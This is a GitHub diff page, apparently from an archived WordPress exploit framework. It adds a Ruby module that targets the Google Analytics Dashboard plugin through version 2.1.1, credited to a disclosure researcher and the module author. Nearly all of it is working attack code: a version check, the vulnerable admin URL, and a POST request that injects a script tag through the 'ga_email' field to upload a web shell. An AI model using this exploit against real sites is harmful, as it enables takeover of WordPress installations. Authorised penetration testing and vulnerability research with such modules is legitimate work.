This repository was archived by the owner on Oct 22, 2020. It is now read-only.
File tree Expand file tree Collapse file tree 1 file changed +39
-0
lines changed
Expand file tree Collapse file tree 1 file changed +39
-0
lines changed Original file line number Diff line number Diff line change 1+ class Wpxf ::Exploit ::GoogleAnalyticsDashboardReflectedXssShellUpload < Wpxf ::Module
2+ include Wpxf ::WordPress ::StagedReflectedXss
3+
4+ def initialize
5+ super
6+
7+ update_info (
8+ name : 'Google Analytics Dashboard <= 2.1.1 Reflected XSS Shell Upload' ,
9+ author : [
10+ 'Yorick Koster' , # Disclosure
11+ 'Rob Carr <rob[at]rastating.com>' # WPXF module
12+ ] ,
13+ references : [
14+ [ 'WPVDB' , '8747' ] ,
15+ [ 'URL' , 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_google_analytics_dashboard_wordpress_plugin.html' ]
16+ ] ,
17+ date : 'Mar 02 2017'
18+ )
19+ end
20+
21+ def check
22+ check_plugin_version_from_readme ( 'google-analytics-dashboard' , '2.1.2' )
23+ end
24+
25+ def vulnerable_url
26+ normalize_uri ( wordpress_url_admin , 'options-general.php?page=google-analytics-dashboard%2Fgad-admin-options.php' )
27+ end
28+
29+ def initial_script
30+ create_basic_post_script (
31+ vulnerable_url ,
32+ 'gad_login_type' => 'client' ,
33+ 'ga_email' => "\\ \" ><script>#{ xss_ascii_encoded_include_script } <\\ /script>" ,
34+ 'ga_pass' => Utility ::Text . rand_alphanumeric ( 6 ) ,
35+ 'ga_save_pass' => 'ga_save_pass' ,
36+ 'SubmitLogin' => 'Login'
37+ )
38+ end
39+ end
You can’t perform that action at this time.
0 commit comments